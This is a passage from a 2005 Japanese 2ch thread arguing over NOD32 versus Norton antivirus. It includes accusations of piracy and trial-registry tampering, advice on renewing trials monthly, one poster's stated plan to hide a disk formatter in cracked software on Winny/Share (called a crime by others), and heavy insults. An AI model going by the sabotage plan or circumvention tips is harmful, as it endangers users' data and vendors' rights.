79 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 00:16:24 ]: ＮＯＤ３２厨房っって知ったかぶりのバカ丸出しだったんだな（爆）
見ててこちが恥ずかしくなる（苦笑）
80 名前：通りすがり mailto:ｓａｇｅ [2005/12/13(火) 00:19:13 ]: ＮＯＤ３２を割れで使うなんて信じられないな
まあどうせＮＯＲＴＯＮなんて買えないから嫉妬してるのかな？
81 名前：104 mailto:sage [2005/12/13(火) 00:20:04 ]: >>78は、荒れそうな状況でしたので書き込みました。
55さんの「大丈夫です。なぜならNOD32がそれを検出するからです。」に反応しての投稿ではありませんから宜しくお願いします。
55さんのウィットに富んだ投稿は場を和ますものと思っています。
82 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 00:27:54 ]: >>81

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。

「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
83 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 00:30:41 ]: (°д ﾟ)ﾊｧ?
84 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 00:31:42 ]: >>82
>>19
>>25
>>27
>>76
重複した投稿＝荒らし
85 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 00:32:49 ]: おまいらもよく飽きずにやってるな。
俺は今日一日HDDの交換、OSから常用アプリのｲﾝｽｺで疲れたよ……
86 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 00:39:05 ]: >>84

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。

「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
87 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 01:31:48 ]: 割れ使うならせめて体験版を使いまわすのが筋だと思うが。
88 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 01:47:09 ]: 金払って使えNOD厨ども。
89 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 02:20:53 ]: >>87
ここのキチガイは体験版のレジストリを不正に改変して使ってる。
対策してないのもアホだが、だからって許される話ではない。
90 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 02:25:58 ]: 体験版を何度も使いまわすのも止めましょうよ。
お金を払って使いましょうね。
91 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 02:52:43 ]: 体験版を使い回したり割ったりする代わりに宣伝活動してるんだと思ってた
92 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 03:03:29 ]: それいいね
93 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 06:04:29 ]: 2ch見ただけでオレのNODが燃えたよ

pc8.2ch.net/test/read.cgi/sec/994847789/
94 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 11:11:11 ]: >>93
IMON アーカイブ pc8.2ch.net/sec/dat/994847789.dat ウイルスの可能性 : SCRIPT ウイルス切断されました
95 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 12:29:26 ]: ウイルス貼ったら2ｃｈでも即アク禁なんだろ？
通報しとけ！
96 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 16:05:03 ]: >>93のおかげでパソが異常終了するようになった
これってなんとかできないものか？アク禁など生ぬるいな
97 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 16:40:04 ]: 通報しとけ！
98 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 17:27:08 ]: >>96
NOD32使っているけど>>93-94で問題など発生しないよ。
99 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 17:50:38 ]: ｶﾞｸｶﾞｸ((((;ﾟДﾟ)))ﾌﾞﾙﾌﾞﾙ
100 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 18:08:14 ]: 1.1320 (20051212)
101 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 18:18:48 ]: >>99
なんで震えるのよ。
プロセスまで確認しているから心配することないよ。
102 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 18:20:47 ]: >>101
ついビビッタもんで。。。すまない　ありがとう。
103 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 20:09:10 ]: （　´_ゝ`）
104 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 20:13:16 ]: ご希望のようなので

nyとｼｪｱに流れてるｸﾗｯｸ物に、半年に1回ﾌｫｰﾏｯﾀ仕込んどくわ
105 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 20:31:04 ]: >>104
ｎｙに関してはそれでいいよ。どんどんやってくれ。
106 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 20:45:27 ]: 俺なんか前世がNODだって言われたぜ。
107 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 20:46:11 ]: ｶﾞｸｶﾞｸ((((;ﾟДﾟ)))ﾌﾞﾙﾌﾞﾙｶﾞｸｶﾞｸ((((;ﾟДﾟ)))ﾌﾞﾙﾌﾞﾙｶﾞｸｶﾞｸ((((;ﾟДﾟ)))ﾌﾞﾙﾌﾞﾙ
108 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 21:27:45 ]: >>104
ﾀｲ━━||Φ|(|ﾟ|∀|ﾟ|)|Φ||━━ﾎ!!!!
109 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 21:46:45 ]: >>104
これって犯罪じゃね？
110 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 21:51:14 ]: >>104
あんた凄腕ハッカーか？
111 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 22:02:28 ]: >>104
さぁ、今のうちに訂正・謝罪しないと後悔することになるけどいいのかな？
112 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:05:45 ]: >>104
犯行予告ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!
113 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 22:06:23 ]: 記念真紀子
114 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:09:46 ]: >>108-112
ｎｙ厨必死ですなｗｗ
115 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:11:11 ]: >>108-112
割る方が犯罪だろうに。
必死すぎw
116 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 22:11:38 ]: ｎｙってなんですか？
117 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:13:47 ]: ～方が犯罪

ｗｗｗｗｗｗｗｗｗ
118 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:14:36 ]: 犯罪者必死だな
119 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:15:28 ]: 割ってる香具師にとっては困った事態だろうからな。
それにしても必死すぎw
120 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:15:53 ]: つーかｎｙにあるの1.1じゃん更新できるから問題ないが
121 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 22:16:42 ]: >>104びびりすぎｗｗｗｗ
122 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 22:18:23 ]: まぁ、逮捕されることはないだろうけど、事情聴取はされるね
123 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:19:06 ]: つーか>>108-112を真に受ける時点でアホｗ
124 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 22:19:31 ]: ｎｙってなんですか？
125 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:19:32 ]: 誘導されてきますた
しかし、どういう状況かわかんね
126 名前：名無しさん＠お腹いっぱい。 [2005/12/13(火) 22:20:08 ]: 通報しました
127 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:21:22 ]: いや、いくらnyだろうが、破壊行為・予告は立派な犯罪になる。
nyでポエムを交換してる人もいるしなw
128 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:23:15 ]: 割って使うのは犯罪。
129 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:23:55 ]: 関係ないがこの間犯行予告したν速のコテが昨日逮捕されてたな。
130 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:24:53 ]: そんなの”自己責任”で切られて終わり。
WinnyやShareを使っていることがわかったらもう相手にもされず。
131 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:38:32 ]: 犯罪者が犯罪予告者をいじめるスレはここですか？
132 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 22:50:57 ]: 犯罪者が泣き叫んでいるのをﾆﾔﾆﾔｦﾁするスレです。
133 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:04:35 ]: いじめっておもしろいね
134 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:09:35 ]: （ﾟдﾟ）ﾎﾟｶｰﾝ
135 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:13:43 ]: つーか本体が本家サイトからダウンロードできるのに
何でp2pでわざわざ落とす連中が居るのか理解できない
136 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:21:16 ]: こいつ真性？
137 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:29:27 ]: 本家から落とせるのは体験版のみ
それ以外はIDとパスが要求される
138 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:31:17 ]: 体験版だって(ry
139 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:39:14 ]: 体験版じゃなくて本体そのものだよ。
ただ、そのあとにもらえるPASSが期限付き1ヶ月っていうだけで。
　
要はPASSさえ（略
140 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:39:17 ]: >>137
お前バカなの？　IDなんざメールを送れば返信してくれる。
141 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:40:40 ]: そゆこと。わざわざp2pなんかで落とさなくても本家で落として一ヶ月に一回メールを送るだけでいい。
142 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:54:56 ]: こいつ真性？
143 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 23:58:00 ]: 相変わらず基地外スレだな
144 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 01:29:46 ]: NODは使いやすいな、凄くいいよ。
ここに常駐している馬鹿どもは死ね。
145 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 01:33:34 ]: ↑凄く割りやすいそうです。
146 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 01:34:16 ]: 基地外警報発令中
147 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 01:34:19 ]: >>144
どのように使いやすいのか、どう凄くいいのか、書かなければ
おまえも馬鹿の仲間入り。
148 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 01:45:16 ]: 146は基地外だそうだ。
149 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 01:47:35 ]: ＮＯＤ３２のどこがいいんだよ（爆）
くやしかったら言ってみやがれってんだ！ば～かばーか
150 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 01:48:45 ]: ＞＞１４９
やっぱＮＯＲＴＯＮしかないっしょ？
151 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 01:49:23 ]: >>149
夜釣りですか、おつかれッス！く(`Д´)ゞビシッ
152 名前：名無しさん＠お腹いっぱい。 [2005/12/14(水) 01:52:35 ]: 俺はバイドクターが一番使いやすいよ
153 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 01:56:12 ]: NODが糞ってのは証明されてますから笑
NAVより劣っていることを認めろよキモヲタ共笑
154 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 02:01:09 ]: V3が最高
155 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 02:26:38 ]: >>149
>>153-154

>>3-4
156 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 02:27:41 ]: >>155
やっぱりノートン最高
2006は軽いし最強だね
157 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 02:30:14 ]: >>156
2006も十分に重いし、スキャン速度も遅い
気にしない人にはNOD32よりお薦めかもな。
158 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 02:38:26 ]: なに言ってんの？
Nortonが最高に決まってるでしょ。
159 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 02:41:04 ]: スレ違いだが、ノートン2006がもの凄く軽いと言ってる人へ
ノートンはNIS 200n、KasperskyはKAV 200n

Kasperskyは2006でNOD32と同等な軽さになっているがNISは相変わらず重い。
> ttp://www.wilderssecurity.com/forumdisplay.php?f=32
160 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 02:42:22 ]: > www.wilderssecurity.com/showthread.php?t=109688
161 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 02:58:34 ]: >>159
NISの話じゃないよ
NAVだよ。
162 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 03:04:49 ]: NAVも殆ど同じ、NAV2005とNAV2006を比べればNAV2006のほうが軽いがそれはどんぐりの背比べと同じ。
163 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 03:09:46 ]: NAV2006もNOD32もドングリの背比べが正解
164 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 03:11:41 ]: 2006：32＝62.6875：1

NAV、NISはNODの62.6875倍
165 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 03:13:15 ]: 軽さだけが取り柄ﾌﾟ
166 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 03:14:58 ]: 煽ってもムダ、NOD32が最高に優秀であることは周知だからなw
167 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 03:48:37 ]: ｎｙのホワイター系も検出できない糞NODが優秀だってｗ
どう足掻いてもノートンに勝てない
168 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 03:53:40 ]: どう足掻いても（重さでは）ノートンに勝てない
169 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 03:59:39 ]: NAV2006が重いってどんだけ糞スペックのPCで考えてんだよｗ
170 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 04:31:48 ]: >>166
個別例を出しても意味ないよ。
検出性能は>>3にあるようにどちらも最高水準、どちらが上かを争う程の差なんてないよ。

で、大きな差としては重さとスキャン速度。
これはNOD32のほうが遥かに高性能。

>>169
PCスペック無関係
どんなに高性能なPCを用いても差は縮まらないよ。
171 名前：170 mailto:sage [2005/12/14(水) 04:35:04 ]: >>166は>>167に訂正
172 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 04:44:13 ]: 重さも速度もさほど差はないよ
173 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 04:53:56 ]: >>172
計測結果と全く異なることを根拠を示さずに言われてもなぁ。
体感差でも圧倒的多数の人がその違いを認知しているし、君の言うことは誰も信じないよ。
174 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 06:23:20 ]: >>3はいいんだがテスト環境ぐらい書いて欲しい物
キヤノンみたいにPenⅡとか言われるとそれはそれで萎えるので
175 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 06:27:21 ]: 俺もスペックがあればノートンなんだが、古いＰ４だしな。
NODで我慢してるよ。
176 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 06:36:42 ]: 実際スキャンすれば分かるだろうが、
スキャン速度などそんなに変わらない。
ハードディスクの速度によってソフトごとの優劣は目立たなくなってしまう。
2回スキャンなどすればキャッシュされて違いもはっきりするが、
通常そんなことはやらないし意味がない。
177 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 07:01:16 ]: >>176
おはよう。
朝まで自演、ご苦労さん。

本日のネタ　　NOD vs ノートン
自演時間　　約7時間
178 名前：名無しさん＠お腹いっぱい。 [2005/12/14(水) 07:24:41 ]: 犯罪予告を必死で誤魔化そうとしてノートン叩きをもちだす・・・と・・・ｗ
179 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 07:25:58 ]: NISとNAVを一緒だって言ってる馬鹿は実際使ったことがないだろ
馬鹿は黙ってろて話だなｗ
180 名前：170 mailto:sage [2005/12/14(水) 07:27:19 ]: > スキャン速度などそんなに変わらない。
なにを寝ぼけたことを言っているのかな?
思いっきり変わる。
全く違うんだよ、脳内で勝手に現実を変えないでくれよ。
そもそも、NOD32はノートンのような低速なアクセスはしない。
ファイルを一つ一つ読んでいるわけではないんだよ。
181 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 07:29:02 ]: >>180
＞ファイルを一つ一つ読んでいるわけではないんだよ

じゃあどうやって読んでるの？
詳しく
182 名前：170 mailto:sage [2005/12/14(水) 07:45:49 ]: 何も知らぬのに、>>176のような妄想を書く奴に教える気はない。
自身で勉強しろ。
183 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 07:49:07 ]: >>182
それは俺じゃねーよ馬鹿
ソースや解説も添えれないくせに妄想で厨発言をするのはおまえだろ
184 名前：170 mailto:sage [2005/12/14(水) 07:52:21 ]: 笑わすなよ、自身で調べることもせずに煽れば情報が手に入るとでも思っているのか?
幼稚過ぎだよ。
概略程度は、探せば見つかるぜ。
もちろんそれ以上の詳細になると機密保護の壁に突き当たる。
精々足掻いてみることだ。
185 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 07:52:43 ]: また自治厨が問題を起してるのか
血の気多すぎ、もっとマタリしてくれ
186 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 07:53:45 ]: 正直このスレが荒れるのは自治厨が原因かもな
187 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 07:54:33 ]: 基地外が騒いでいるだけだ、気にするな、基地外さん。
188 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 07:56:07 ]: >>187
いや、まじでさ、お前の言ってる事はもっともなんだが
棘が多すぎて度が過ぎて行ってるじゃん

俺まで叩かれそうなんで消えるけどね
189 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 08:37:26 ]: 今度こそ寝たか？＾＾；　＞　自演魔人
たぶん11時頃に活動再開すると思われ（ｗ
190 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 10:09:58 ]: >>184
お前はこの前「一番いいセキュリティ」スレで英語も読めず大恥をかいた男にそっくりだな
191 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 10:22:19 ]: >>180
システム全スキャしたけど、遅かったよ。
NAVと同じぐらい。遅いと言われているbitdefenderが何故か速かった。
192 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 10:26:21 ]: NOD32は詳細スキャンをするとめちゃくちゃCPU食うよ
まぁ一番最初の一回だけだから別にいいけど
193 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 12:25:29 ]: マイクロソフトも使用しているNOD32
www.wilderssecurity.com/showthread.php?s=2260028f61f1f329b2eca43065024445&t=81505
194 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 12:31:57 ]: >>193
そこもレベル低いな。
だいたいマイクロソフトは他のソフトも使ってるって書いてあるじゃないか。
195 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 12:54:29 ]: MSはペストパトロールなんか使ってるしな・・・
196 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 13:02:36 ]: カスペは米国防総省やNATOなどで使われているな。そういう権威付けが欲しいのか。
197 名前：名無しさん＠お腹いっぱい。 [2005/12/14(水) 13:23:31 ]: >>180
>ファイルを一つ一つ読んでいるわけではないんだよ
198 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 14:22:34 ]: >>189
自演でもなんでも結構
お前さえいなければこのスレは荒れない
そこら辺をよくわかってくれれば、それでいい。
199 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 16:07:11 ]: つ1.1321 (20051213)
200 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 16:40:25 ]: >>194
君ほどじゃないよw
201 名前：名無しさん＠お腹いっぱい。 [2005/12/14(水) 17:35:19 ]: 昨日からここのメーカーの箱詰めのバイトいってます、面接でソフトは何使ってる？
ときかれました。もちろんＮＯＤ32と答えたんですが・・・ごめんなさい。。
本当はパンダ使ってるんです・・・
202 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 19:14:53 ]: NOD32がアンチウィルスソフトとして最高性能を誇っていることが知れ渡って来たな。
昔から居着いている荒らしの幼稚な煽りを除けば大きな問題もなく落ち着いているようだ。
2.50になりバランスがよくなったことが一番影響しているかもな。
203 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 19:46:56 ]: ＞＞２０２
あ～あ、工作人のかたご苦労様です（爆）
ＮＯＲＴＯＮが最強なのは定説なのにね
204 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 19:54:59 ]: >>203
今時、（爆）とか全角使うﾔﾂはおっさんかｱﾎ
205 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 20:12:29 ]: 自治厨ｷﾀｷﾀｷﾀｷﾀ━━━(ﾟ∀ﾟ≡(ﾟ∀ﾟ≡ﾟ∀ﾟ)≡ﾟ∀ﾟ)━━━━!!!!!!!!!!

今日も煽り爆発ですねｗｗ
206 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 20:13:58 ]: 釣られて飛び出す荒らし痔治厨
207 名前：202 mailto:sage [2005/12/14(水) 20:25:57 ]: >>203
ああ、ノートンは最強だね。
重さやスキャン速度が遅いことを承知で使うのならノートンは、よい製品だ。
208 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 20:26:06 ]: >>204-206
おまえら、見事に釣られてんな。おまえらみたいな低能がいるからいつまでも煽りが絶えない。
209 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 21:56:41 ]: なんか、こんな話題ばっかりですね
210 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/14(水) 22:01:58 ]: アンチウイルスなど常時そんな話題があるモノではないと思うんだ
アップデート障害が起こってるソースやいつも何かしら不具合が出てるキング以外は・・・
211 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 00:10:39 ]: 今日近所のショップにNODを買いに行ったら
店員にバスターを激しく勧められた。
やっぱり大手だけにキックバックが大きいからなんだろうね・・・

ちなみにNODはおいてなかった orz
212 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 00:14:00 ]: 一般の家電量販店なんてそんなもんだろ
バスターとノートンくらいじゃね？
NODは大型ショップ行かないとないな。
213 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 00:20:08 ]: この前行った店はNOD32が2個あった
目玉ですぐわかった
214 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 00:20:55 ]: 俺は緑色で何となくわかった
215 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 00:49:20 ]: 1.1322 (20051214)
216 名前：名無しさん＠お腹いっぱい。 [2005/12/15(木) 00:59:16 ]: headlines.yahoo.co.jp/hl?a=20051214-00000011-inet-sci
ウイルス対策ソフト、有償でも無償でも効果は同じ!?
217 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 01:21:29 ]: 無償だから極端に性能が悪いってことはない、無料と言っても広告宣伝付きだから配布元はちゃんとやっていけている。
まぁ、NOD32がアンチウィルスソフトでは最高性能を誇っていることにかわりはない。
218 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 01:23:14 ]: じゃあNODなんて買わなくてもAVAST・AntiVir・AVGでも十分ってことだね。
良かった買わなくてw
219 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 01:24:31 ]: そうそう。AVAST・AntiVir・AVGでも十分だよ。
そっちのスレに帰りな
220 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 01:32:42 ]: つ1.1322 (20051214)
221 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 01:33:22 ]: KINGSOFT も忘れないでね
222 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 02:43:27 ]: ｷﾝｷﾝｿﾌﾄｲﾗﾈ
223 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 02:50:20 ]: まぁ、自分がそれでいいと思ったのならそれ使えばいいじゃんよ。
NOD32がアンチウィルスソフトでは最高性能であることなど、気にする必要はないぜ。
224 名前：GDS mailto:sage [2005/12/15(木) 16:22:06 ]: 696 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/14(水) 22:50:59 ID:gHgH9mpH0
B2の時はNOD32でも行けたんだが
正式版になってからNOD32が監視してCPU負荷100％になる……orz
Ver2.01を頼む。
225 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 16:36:24 ]: >>224
意味わかんね
226 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 16:55:17 ]: つ1.1322 (20051214)
227 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 19:48:02 ]: つ 1.1323 (20051215)
228 名前：名無しさん＠お腹いっぱい。 [2005/12/15(木) 20:36:19 ]: 何でこんなに下がってるの？？？？
229 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/15(木) 20:38:06 ]: つ1.1324 (20051215)
230 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 07:59:45 ]: 購入の参考にしたいのだけど、NOD32の欠点ってファイアウォール機能が付いてない点以外にはどんなものがあるだろう？
231 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 08:21:59 ]: >>NOD32の欠点ってファイアウォール機能が付いてない点

こういう認識ならNortonかバスターかマカフィー使っておけ。
キミには使いこなせない、マジで。
232 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 08:34:36 ]: >>230
ファイアウォールが付いていないのは確かに欠点ではない。
欠点はユーザーに基地外が多いこと以外特にない。
233 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 08:54:38 ]: >>230
ブラウザのFirefoxの欠点って、メーラーが付いていない点以外にはどんなものがあるだろう？

みたいなおかしなこといってないか？
（実際はThunderbirdあるけどなｗ）

統合ソフトのおまけの糞Firewallより、単体のFirewall専用ソフト
の方が遥かに優秀で、しかも軽い。
Freeもいっぱいあるんだから、併用すればいいだけかと。

で、それ以外の欠点だと、

・2chスレがアンチ＆信者であまり機能していない。
・細かい設定ができる分、設定項目がやや多い = 人によっては設定が複雑に感じるかも
（デフォルトでも普通に防いでくれるが。）

くらいじゃ。
昔のバージョンだと糞みたいなバグがあって欠点だったが、現行のコンポーネントは安定してる。

とりあえず体験版使ってみたら？
仮に乗り換えたくなったとしても、綺麗にアンインストールできるし。
234 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 09:05:06 ]: >>230みたいなバカにはNOD32は10年早い
235 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 09:13:29 ]: 体験版入れても無理でしょ
どうせここで質問しまくって、荒らしていく元ノートン厨と同じパターン
236 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 09:26:37 ]: せっかくソフト購入するんだからファイアウォールがセットになってる方が設定する時も楽でお得なんじゃないかと思ってたんだけど、
明らかな素人考えだったようで見苦しい所をお見せしました。

使用してるPCが最近のPCに比べて大分スペックが劣るのでノートンは辛そうだしバスターは一回痛い目に合ってるので使いたくないしマカフィーはあまり良い話を聞かないしで、
軽くて強力という話を良く聞くNOD32を買ってみようかと思ったのですが自分には早かったようで。

何か違うものを探してみます。レスありがとうございました。
237 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 09:27:27 ]: >綺麗にアンインストールできるし。
さすがにレジストリ履歴は残るけどな
238 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 09:31:42 ]: ＞＞２３６
ＮＯＲＴＯＮ最強、これ定説だよ
239 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 09:32:56 ]: >>236
もうね、凄いでしょ、この信者の数。他のスレではこんな反応はまず見られないよ。
細かい欠点は少なからずあるけどそれを挙げたらレスを付ける価値に見合わないほど罵倒されてしまうの。
新規ユーザーをこれほど大切にしない信者もそういない。
240 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 09:46:25 ]: 自分の信念を確固として確立していない者にNODは早いって言ってるだけ。
信者とかﾉｰﾄﾝ厨房とかそんなものは関係ない。
241 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 10:00:43 ]: ていうか、あたかもNOD信者のように振るまい、スレを荒らしてるのはNorton厨だし。
242 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/16(金) 10:41:38 ]: みえみえで萎えるな。
そんなにNortonとNODを闘わせたいか？
